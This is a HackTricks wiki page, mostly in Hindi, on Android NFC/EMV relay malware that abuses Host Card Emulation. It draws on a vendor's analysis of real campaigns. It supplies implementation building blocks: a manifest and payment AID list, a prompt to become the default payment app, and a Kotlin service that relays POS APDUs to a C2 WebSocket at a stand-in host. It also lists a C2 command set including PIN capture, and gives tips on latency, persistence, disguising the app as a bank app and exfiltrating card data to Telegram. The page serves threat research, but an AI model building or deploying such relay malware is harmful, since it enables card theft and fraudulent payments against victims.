Android HCE NFC/EMV Relay Attacks
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Overview
Android Host Card Emulation (HCE) का दुरुपयोग उस तरह के मैलिशियस ऐप को सक्षम करता है जिसे डिफ़ॉल्ट NFC payment service के रूप में सेट किया गया है, ताकि वह EMV contactless transactions को रियल‑टाइम में relay कर सके। POS terminal फोन से ISO 14443-4/EMV पर बात करता है; ऐप का HostApduService APDUs प्राप्त करता है और उन्हें एक द्वि‑दिशात्मक C2 (अक्सर WebSocket) के जरिए backend को फॉरवर्ड करता है जो responses तैयार करता है, जिन्हें फिर POS को relay किया जाता है। इससे स्थानीय कार्ड डेटा के बिना लाइव card emulation संभव हो जाती है। बड़े पैमाने पर देखी गई campaign अक्सर बैंक/सरकारी ऐप के रूप में rebrand होती हैं, उपयोगकर्ता से डिफ़ॉल्ट payment app बनने के लिए कहती हैं, और device/card डेटा को अपने आप Telegram bots/channels पर exfiltrate कर देती हैं।
Key traits
- Android घटक: HostApduService + default NFC payment handler (category “payment”)
- Transport/C2: WebSocket for APDU relay; Telegram bot API for exfil/ops
- Operator workflow: structured commands (login, register_device, apdu_command/apdu_response, get_pin/pin_response, paired, check_status, update_required, telegram_notification, error)
- Roles: scanner (read EMV data) vs tapper (HCE/relay) builds
Minimal implementation building blocks
Manifest (become default payment HCE service)
<uses-feature android:name="android.hardware.nfc.hce" android:required="true"/>
<uses-permission android:name="android.permission.NFC"/>
<application ...>
<service
android:name=".EmvRelayService"
android:exported="true"
android:permission="android.permission.BIND_NFC_SERVICE">
<intent-filter>
<action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
</intent-filter>
<meta-data
android:name="android.nfc.cardemulation.host_apdu_service"
android:resource="@xml/aid_list"/>
</service>
</application>
EMV भुगतान श्रेणी के साथ उदाहरण AID सूची (केवल डिफ़ॉल्ट भुगतान के रूप में सेट किए गए ऐप ही इन AIDs का उत्तर दे सकते हैं):
<?xml version="1.0" encoding="utf-8"?>
<host-apdu-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/app_name"
android:requireDeviceUnlock="false">
<aid-group android:category="payment" android:description="@string/app_name">
<!-- PPSE (2PAY.SYS.DDF01) routing -->
<aid-filter android:name="325041592E5359532E4444463031"/>
<!-- Common EMV AIDs (examples): -->
<aid-filter android:name="A0000000031010"/> <!-- VISA credit/debit -->
<aid-filter android:name="A0000000041010"/> <!-- MasterCard -->
<aid-filter android:name="A00000002501"/> <!-- AmEx -->
</aid-group>
</host-apdu-service>
उपयोगकर्ता को डिफ़ॉल्ट भुगतान ऐप सेट करने के लिए प्रॉम्प्ट करें (OS सेटिंग्स खोलता है):
val intent = Intent("android.settings.NFC_PAYMENT_SETTINGS")
startActivity(intent)
HostApduService relay खाका
class EmvRelayService : HostApduService() {
private var ws: okhttp3.WebSocket? = null
override fun onCreate() {
super.onCreate()
// Establish C2 WebSocket early; authenticate and register device
val client = okhttp3.OkHttpClient()
val req = okhttp3.Request.Builder().url("wss://c2.example/ws").build()
ws = client.newWebSocket(req, object : okhttp3.WebSocketListener() {})
}
override fun processCommandApdu(commandApdu: ByteArray?, extras: Bundle?): ByteArray {
// Marshal APDU to C2 and block until response
val id = System.nanoTime()
val msg = mapOf(
"type" to "apdu_command",
"id" to id,
"data" to commandApdu!!.toHex()
)
val response = sendAndAwait(msg) // wait for matching apdu_response{id}
return response.hexToBytes()
}
override fun onDeactivated(reason: Int) {
ws?.send("{\"type\":\"card_removed\"}")
}
private fun sendAndAwait(m: Any): String {
// Implement correlation + timeout; handle error/blocked status
// ...
return "9000" // fall back to SW success if needed
}
}
उपयोगी नोट: बैकग्राउंड सर्विस को प्रत्येक APDU के लिए POS timeout बजट (~कुछ सौ ms) के भीतर उत्तर देना चाहिए; low-latency socket बनाए रखें और C2 के साथ pre-auth करें। आवश्यकतानुसार प्रोसेस मृत्यु के बाद भी foreground service का उपयोग करके टिके रहें।
सामान्य C2 कमांड सेट (प्रेक्षित)
login / login_response
register / register_device / register_response
logout
apdu_command / apdu_response
card_info / clear_card_info / card_removed
get_pin / pin_response
check_status / status_response
paired / unpaired
update_required
telegram_notification / telegram_response
error
EMV contactless exchange (परिचय)
POS flow को नियंत्रित करता है; HCE ऐप केवल APDUs को रिले करता है:
- SELECT PPSE (2PAY.SYS.DDF01)
- 00 A4 04 00 0E 32 50 41 59 2E 53 59 53 2E 44 44 46 30 31 00
- SELECT application AID (e.g., VISA A0000000031010)
- 00 A4 04 00 len
00 - GET PROCESSING OPTIONS (GPO)
- 80 A8 00 00 Lc
00 - READ RECORD(S) per AFL
- 00 B2 <SFI/record> 0C 00
- GENERATE AC (ARQC/TC)
- 80 AE 80 00 Lc
00
Relay में, backend वैध FCI/FCP, AFL, records और एक cryptogram तैयार करता है; फोन केवल बाइट्स फॉरवर्ड करता है।
वास्तविक दुनिया में देखे गए ऑपरेटर वर्कफ़्लोज़
- Deception + install: ऐप को बैंक/सरकारी पोर्टल के रूप में री-स्किन किया जाता है, फुल-स्क्रीन WebView दिखाता है और तुरंत default NFC payment app बनने का अनुरोध करता है।
- Event-triggered activation: NFC टैप HostApduService को जगाता है; रिले शुरू हो जाता है।
- Scanner/Tapper roles: एक बिल्ड पीड़ित कार्ड से EMV डेटा (PAN, exp, tracks, device/EMV fields) पढ़ता है और एक्सफिल्ट्रेट करता है; दूसरा बिल्ड (या वही डिवाइस बाद में) HCE रिले करके POS पर प्रदर्शन करता है।
- Exfiltration: डिवाइस/कार्ड डेटा निजी Telegram चैनल/बॉट्स पर स्वतः पोस्ट किया जाता है; WebSocket सत्रों और UI प्रॉम्प्ट्स (उदा., ऑन-डिवाइस PIN UI) का समन्वय करता है।
संदर्भ
- Zimperium – Tap-and-Steal: The Rise of NFC Relay Malware on Mobile Devices
- Android HostApduService
- Android HCE and Card Emulation docs
- Zimperium IOCs – 2025-10-NFCStealer
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
HackTricks

